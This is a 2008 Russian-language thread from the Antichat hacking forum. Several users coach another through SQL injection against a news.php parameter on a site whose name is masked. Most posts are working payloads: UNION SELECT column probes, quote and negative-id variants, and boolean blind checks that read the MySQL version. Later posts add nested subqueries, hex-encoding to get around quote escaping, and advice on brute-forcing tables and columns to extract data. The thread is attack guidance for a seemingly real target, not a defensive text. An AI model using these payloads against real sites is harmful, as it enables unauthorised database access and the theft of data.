ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #3531  
Старый 04.11.2008, 17:16
Аватар для geforse
geforse
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
Провел на форуме:
5365841

Репутация: 712


Отправить сообщение для geforse с помощью ICQ
По умолчанию

Цитата:
Сообщение от geforse  
При запросе: http://www.xxxx.com/news.php?type=16+union+select+1,version(),3,4/* (Выводдит новость с id 16)
Цитата:
Сообщение от jokester  
А что по твоему он должен выводить?
Версию)

Цитата:
Сообщение от jokester  
http://www.xxxx.com/news.php?type=-16+union+select+1,2,3,4/*
Вот так попробуй
Выводит новость с id 16

Цитата:
Сообщение от iddqd  
попробуй склеить union select с:
type=17'
type=-1
type=-1'
type=9999
Никаких ошибок нет(
 
Ответить с цитированием

  #3532  
Старый 04.11.2008, 17:49
Аватар для ThreeD
ThreeD
Banned
Регистрация: 25.12.2006
Сообщений: 179
Провел на форуме:
2337678

Репутация: 354
По умолчанию

Зачем тебе ошибки? Ты принтабельные поля ищи. source страницы покопай.
+union+select+111,222,333,444/* для удобства, и ищи.
 
Ответить с цитированием

  #3533  
Старый 04.11.2008, 18:01
Аватар для [Raz0r]
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
Отправить сообщение для [Raz0r] с помощью ICQ
По умолчанию

http://www.xxxx.com/news.php?type=16+and+1=2+union+select+1,version(), 3,4/*
http://www.xxxx.com/news.php?type=16+union+select+1,version(),3,4+limi t+1,1/*
 
Ответить с цитированием

  #3534  
Старый 04.11.2008, 18:37
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

http://www.xxxx.com/news.php?type=16+union+select+1,version(),3,4/*

так ты никогда не увидишь версию, надо ставить несуществующию запись
Если
http://www.xxxx.com/news.php?type=-16+union+select+1,2,3,4/*
не помогает, попробуй так
http://www.xxxx.com/news.php?type=-16'+union+select+1,2,3,4/*
если и так не катит скидывай ссылку сюда или в пм
 
Ответить с цитированием

  #3535  
Старый 04.11.2008, 19:13
Аватар для _Pantera_
_Pantera_
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
Провел на форуме:
3025546

Репутация: 1327
Отправить сообщение для _Pantera_ с помощью ICQ
По умолчанию

Та бывает такое, что нет ниодного поля с выводом на экран.
попробуй вот так:
PHP код:
http://www.xxxx.com/news.php?type=16+and+ascii(lower(substring(version(),1,1)))=51 
это будет значить, что mysql 3 версии

PHP код:
http://www.xxxx.com/news.php?type=16+and+ascii(lower(substring(version(),1,1)))=52 
это будет значить, что mysql 4 версии

PHP код:
http://www.xxxx.com/news.php?type=16+and+ascii(lower(substring(version(),1,1)))=53 
это будет значить, что mysql 5 версии

В одном из этих случаев не должно вылезти ошибки, если ее нету, то запрос к mysql true и можно сделать вывод о версии...
 
Ответить с цитированием

  #3536  
Старый 04.11.2008, 20:09
Аватар для geforse
geforse
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
Провел на форуме:
5365841

Репутация: 712


Отправить сообщение для geforse с помощью ICQ
По умолчанию

Версия MySQL 5
 
Ответить с цитированием

  #3537  
Старый 04.11.2008, 20:12
Аватар для ThreeD
ThreeD
Banned
Регистрация: 25.12.2006
Сообщений: 179
Провел на форуме:
2337678

Репутация: 354
По умолчанию

Если принтабельных полей нет-юзай подзапросы. Иначе никак.
 
Ответить с цитированием

  #3538  
Старый 04.11.2008, 20:35
Аватар для ThreeD
ThreeD
Banned
Регистрация: 25.12.2006
Сообщений: 179
Провел на форуме:
2337678

Репутация: 354
По умолчанию

Попробуй ещё так

http://www.xxxx.com/news.php?type=16+union+select+'-16+union+select+1,2,3,4'+limit+1,1/*

Или перегони в хекс, если кавычки экранируются\слэшируются.В ообще подобная двойная конструкция, внутри union select может сработать. Пробуй.
 
Ответить с цитированием

  #3539  
Старый 04.11.2008, 20:48
Аватар для slider
slider
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
Провел на форуме:
6520559

Репутация: 2947


По умолчанию

Цитата:
В одном из этих случаев не должно вылезти ошибки, если ее нету, то запрос к mysql true и можно сделать вывод о версии...
И не только вывод версии ... тем более если версия 5 можно сбрутить все необходимые таблицы и колонки .... а затем полноценный вывод из нужной нам таблицы...

то же самое и в версии 4ре .. только нам нужно перебрать стандартные значения табиц и колонок ...
 
Ответить с цитированием

  #3540  
Старый 04.11.2008, 20:53
Аватар для geforse
geforse
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
Провел на форуме:
5365841

Репутация: 712


Отправить сообщение для geforse с помощью ICQ
По умолчанию

То есть если вывод ошибок отключён, при правильном запросе должно показывать, то что мне нужно. так ?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ